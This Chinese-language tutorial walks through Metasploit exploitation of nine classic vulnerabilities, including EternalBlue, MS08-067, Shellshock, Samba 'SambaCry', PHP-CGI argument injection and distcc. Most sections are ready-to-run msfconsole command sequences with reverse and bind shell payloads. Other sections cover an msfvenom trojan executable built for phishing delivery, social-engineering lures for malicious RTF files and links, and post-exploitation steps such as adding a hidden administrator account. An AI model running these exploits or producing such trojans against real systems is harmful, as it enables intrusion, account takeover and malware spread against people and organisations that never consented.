Metasploit 漏洞利用实战 — 从入门到拿下一台机器
Metasploit(MSF)是渗透测试界的瑞士军刀,有人戏称它能「黑掉整个宇宙」。它把漏洞发现、利用、Payload 生成、后渗透操作整合在一个统一的框架里。今天带你从基本命令到九大经典漏洞利用,把 MSF 的实战能力拉满。
一、MSF 概述
Metasploit 就是一个漏洞利用框架。全称 The Metasploit Framework,简称 MSF。
MSF 能干什么?
- 信息收集(端口扫描、服务识别)
- 漏洞探测(验证目标是否存在已知漏洞)
- 漏洞利用(一键 Get Shell)
- 后渗透操作(提权、横向移动、持久化)
- Payload 生成(制作木马、反弹 Shell)
MSF 本身附带 2000 多个已知软件漏洞的利用模块,并保持持续更新。
二、MSF 核心命令速查
| msfconsole | 启动 MSF 控制台 |
| search 漏洞名称 | 搜索漏洞模块,如 search ms08-067 |
| use 模块路径 | 加载漏洞模块 |
| show options | 显示当前模块需要配置的参数 |
| set RHOST 目标IP | 设置目标主机 |
| set LHOST 本机IP | 设置本机 IP(反弹 Shell 用) |
| set RPORT 端口 | 设置目标端口 |
| set PAYLOAD xxx | 设置攻击载荷 |
| run / exploit | 执行攻击 |
| back | 返回上级 |
| sessions | 查看已建立的会话 |
| sessions -i 1 | 进入 ID 为 1 的会话 |
| shell | 获得目标系统命令行 |
| jobs | 查看后台任务 |
| info 模块 | 查看模块详细信息 |
| connect IP 端口 | 连接远程主机 |
三、九大经典漏洞利用实战
3.1 MS08-067 — 网络服务攻击(Windows SMB 溢出)
影响系统:Windows 2000 / XP / Server 2003(未打 2008 年 10 月补丁 KB958644)
漏洞原理
漏洞触发路径:
- 攻击者通过目标 445 端口(SMB 服务)发送特制的 RPC 请求
- 调用 Server 服务中的 NetPathCanonicalize 函数
- 该函数在处理包含 ..\\ 的相对路径时,未正确验证路径字符串边界
缓冲区溢出核心:
- 攻击者构造以 ..\\ 开头的恶意路径
- 触发栈溢出,覆盖函数返回地址
- 跳转至攻击者预设的 Shellcode
历史危害: 该漏洞曾被 Conficker 蠕虫大规模利用,感染数百万台计算机。
核心命令
msfconsole
search MS08-067
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST 192.168.244.7
run
shell # 拿到目标机器的命令行
net user # 查看用户
net user test test /add # 新增用户
3.2 MS10-018 — 浏览器攻击(IE 远程代码执行)
影响系统:IE 6 / 7 / 8
漏洞原理
核心漏洞来源: IE 中的 Tabular Data Control (TDC) ActiveX 控件存在缺陷。
触发机制:
- TDC 控件解析超长 URL 参数时未验证输入长度
- 导致堆溢出(Heap Overflow)或类型混淆(Type Confusion)
- 攻击者通过内存布局操控覆盖虚函数表(vtable)
- 劫持控制流跳转至 Shellcode
攻击链:
用户点击恶意链接 → IE 加载恶意 HTML → 触发 TDC 控件溢出 → Shellcode 执行 → 攻击者拿到 Shell
核心命令
msfconsole
search ms10-018
use exploit/windows/browser/ms10_018_ie_behaviors
set SRVHOST 192.168.244.4 # Kali 本机 IP
set PAYLOAD windows/meterpreter/bind_tcp
set LPORT 4441
exploit -j # 后台运行,生成恶意 URL
# 将生成的 URL 通过社工诱导目标访问
sessions # 查看会话
sessions -i 1 # 进入会话
shell
3.3 MS10-087 — 文件型攻击(Word RTF 溢出)
影响系统:Office 2003 SP3 / 2007 SP2 / 2010,Windows XP SP3 ~ Win7
漏洞原理
漏洞根源: Word 的 RTF 解析引擎(mso.dll)中的 pfragments 相关函数存在栈缓冲区溢出。
触发过程:
- 攻击者构造包含超长控制字属性字符串的 .rtf 文件
- 如 {\\rtf1\\ansi{\\*\\pnfragments XXXX…}}
- 当受害者打开该文件时,Word 将超长数据复制到固定大小栈缓冲区
- 溢出覆盖 返回地址 或 SEH 链(结构化异常处理链)
历史危害: 2010-2011 年全球超过 50% 的挂马网站利用此漏洞传播木马。APT 组织也用它投递恶意文档。
核心命令
msfconsole
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set payload windows/exec
set CMD calc.exe # 弹出计算器(验证漏洞)
set FILENAME ceshi.rtf
run # 生成恶意 RTF 文件
# 将 ceshi.rtf 通过社工发送给目标,打开即中招
3.4 CVE-2017-7494 — Samba 远程代码执行(Linux 版永恒之蓝)
影响版本:Samba 3.5.0 ~ 4.6.4 / 4.5.10 / 4.4.14
漏洞原理
核心函数缺陷: is_known_pipename 函数在处理命名管道时存在逻辑漏洞。
触发机制:
- 攻击者通过 SMB 协议上传恶意 .so 共享库文件到可写共享目录
- 构造包含绝对路径的命名管道名(如 /home/attacker/malicious.so)
- Samba 未将路径限制在共享目录范围内
- 以 root 权限加载并执行恶意库
为什么叫 Linux 版永恒之蓝?
- 都可以通过 SMB 协议远程触发
- 都可以直接获得最高权限
- 都曾被蠕虫化大规模利用(SambaCry 挖矿蠕虫)
核心命令
# vulhub 启动靶场
cd /home/enjoy/vulhub-master/samba/CVE-2017-7494
docker-compose up -d
# Kali 攻击
msfconsole
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.168.244.6
run
id # 已获得 root 权限!
3.5 CVE-2014-6271 — Bash 破壳漏洞(Shellshock)
影响范围:所有使用 Bash 1.14 ~ 4.3 的 Linux/Unix 系统。CVSS 评分:10.0(最高危)。
漏洞原理
核心:函数解析逻辑缺陷 → 代码注入
Bash 允许将函数通过环境变量导出:
func() { echo "Hello"; }
export -f func
漏洞本质:Bash 在解析以 (){ 开头的环境变量时,未严格校验函数定义的终止边界,导致函数体后的额外命令被无条件执行。
env 'VAR=() { :; }; echo Vulnerable' bash -c "true"
# 输出 Vulnerable → 系统存在漏洞!
远程利用路径: 本身无法直接远程触发,需借助媒介:
| Apache CGI | HTTP 请求头中注入恶意环境变量 |
| OpenSSH ForceCommand | 通过 SSH_ORIGINAL_COMMAND 环境变量注入 |
| DHCP 客户端 | DHCP 响应中携带恶意参数 |
历史危害: 漏洞公开后 48 小时内即出现自动化攻击工具,大批设备被感染组建僵尸网络。
核心命令
msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.244.6
set RPORT 8080
set TARGETURI /victim.cgi
run
shell
id # 输出 www-data(Web 服务用户)
3.6 CVE-2012-1823 — PHP-CGI 远程代码执行
影响版本:PHP 5.0.0 ~ 5.3.11 / 5.4.0 ~ 5.4.1
漏洞原理
核心:参数注入 + 配置篡改
PHP-CGI 在处理 HTTP 请求的查询字符串时,错误地将用户输入解析为命令行参数。
http://target/cgi.php?-s → 显示源码(信息泄露)
http://target/cgi.php?-d allow_url_include=on -d auto_prepend_file=php://input
→ 开启远程包含 + 强制加载 POST Body 中的 PHP 代码
绕过补丁: 初始补丁只检测首字符是否为 -,攻击者插入空格 %20 绕过(CVE-2012-2311)。
后续关联漏洞: CVE-2024-4577 利用 Windows 字符编码的 Best Fit 特性再次绕过,实现 RCE。
核心命令
msfconsole
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.244.6
set RPORT 8080
run
shell
id
3.7 CVE-2004-2678 — Distcc 后门漏洞
Distcc 是 Google 开源的分布式编译工具,默认监听 3632 端口。
漏洞原理
核心:配置缺陷 + 命令注入
- Distcc 服务默认不限制客户端 IP,允许任意主机连接
- 以高权限(root)运行,编译过程中可执行系统命令
- 攻击者构造包含 Shell 命令的编译请求,利用 –job-args 参数注入任意命令
核心命令
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost 192.168.244.8
set lhost 192.168.244.4
exploit
id # 验证权限
3.8 MS17-010 — 永恒之蓝(史上最危险的漏洞之一)
影响系统:WinXP ~ Win10(2017 年 3 月前版本),WinServer 2003 ~ 2012。CVSS:10.0。
漏洞原理
漏洞根源: SMBv1 协议处理 FEA_LIST(文件扩展属性列表)时,SrvOs2FeaListSizeToNt 函数存在堆缓冲区溢出。
触发链(NSA 泄露的 Fuzzbunch 框架分析出 7 个关键缺陷):
| 1 | Transaction 缓冲区未初始化 |
| 2 | MaxParameterCount 限制失效 |
| 3 | 响应数据长度越界 |
| 4 | 次级请求时序漏洞 |
| 5 | 分片数据包类型混淆 |
| 6 | FEA 类型分配错误致指针篡改 |
| 7 | 内核态与用户态未隔离 |
攻击流程:
Grooming(堆内存布局) → 发送畸形 FEA_LIST 触发溢出 →
覆盖 SRVNET_BUFFER_HDR 结构 → 写入 Shellcode 到内核态 →
APC 注入执行 → 获取内核级权限
历史危害:
- WannaCry 勒索病毒(2017 年):全球感染超 20 万台设备
- NotPetya 攻击(2017 年):破坏性恶意程序
- Adylkuzz 挖矿蠕虫:静默挖门罗币
核心命令
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/shell/bind_tcp
set rhosts 192.168.209.129
run
# 后渗透
net user test test /add # 新增用户
net localgroup administrators test /add # 提为管理员
net user # 验证
验证漏洞是否存在
nmap -p 445 –script smb-vuln-ms17-010 目标IP
3.9 msfvenom — 制作木马病毒
msfvenom 是 MSF 的 Payload 生成器,可以把攻击载荷封装成可执行文件(.exe),配合社会工程学钓鱼投递。
制作病毒
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.209.128 lport=7788 -f exe > hello.exe
| -p | 指定 Payload(反向 TCP 连接) |
| lhost | 攻击者 Kali 的 IP(等待目标连回来) |
| lport | 监听端口 |
| -f exe | 输出格式为 Windows 可执行文件 |
创建监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 7788
exploit -j # 后台监听
目标执行后的操作
screenshot # 截取目标屏幕
ipconfig # 查看网络配置
shell # 获取命令行
run vnc # 远程桌面控制
四、九个漏洞横向对比
| MS08-067 | 栈溢出 | Windows | SMB RPC | 445 | 🔴 严重 |
| MS10-018 | 堆溢出 | IE 浏览器 | 访问恶意网页 | 无 | 🔴 严重 |
| MS10-087 | 栈溢出 | Word | 打开恶意 RTF | 无 | 🔴 严重 |
| CVE-2017-7494 | 命令注入 | Samba(Linux) | SMB 管道 | 445 | 🔴 严重 |
| CVE-2014-6271 | 代码注入 | Bash(Linux) | CGI 环境变量 | 80/8080 | 🔴 严重 |
| CVE-2012-1823 | 参数注入 | PHP-CGI | HTTP 查询串 | 80/8080 | 🟠 高危 |
| CVE-2004-2678 | 命令注入 | Distcc | TCP 编译指令 | 3632 | 🟡 中危 |
| MS17-010 | 堆溢出 | Windows | SMBv1 | 445 | 🔴 最严重 |
| msfvenom | Payload | Windows | 钓鱼执行 | 任意 | 🔴 严重 |
五、MSF 攻击流程总结
1. 信息收集 → nmap 扫端口,确认目标系统和开放服务
↓
2. 漏洞搜索 → search + info 确认漏洞模块和适用条件
↓
3. 加载模块 → use 加载 exploit
↓
4. 配置参数 → set RHOST / LHOST / PAYLOAD / LPORT
↓
5. 执行攻击 → run / exploit
↓
6. 获取 shell → 进入 Meterpreter 会话
↓
7. 后渗透 → 提权 / 添加用户 / 横向移动 / 截屏 / VNC
写在最后: Metasploit 是渗透测试中最强大的武器之一。九个经典漏洞从 Windows SMB 溢出到 Linux Bash 破壳,从浏览器攻击到 Office 文档钓鱼——覆盖了内网、外网、服务端、客户端全场景。掌握这些漏洞的利用方法和底层原理,你就站在了渗透测试的实战前沿。
网硕互联帮助中心




评论前必须登录!
注册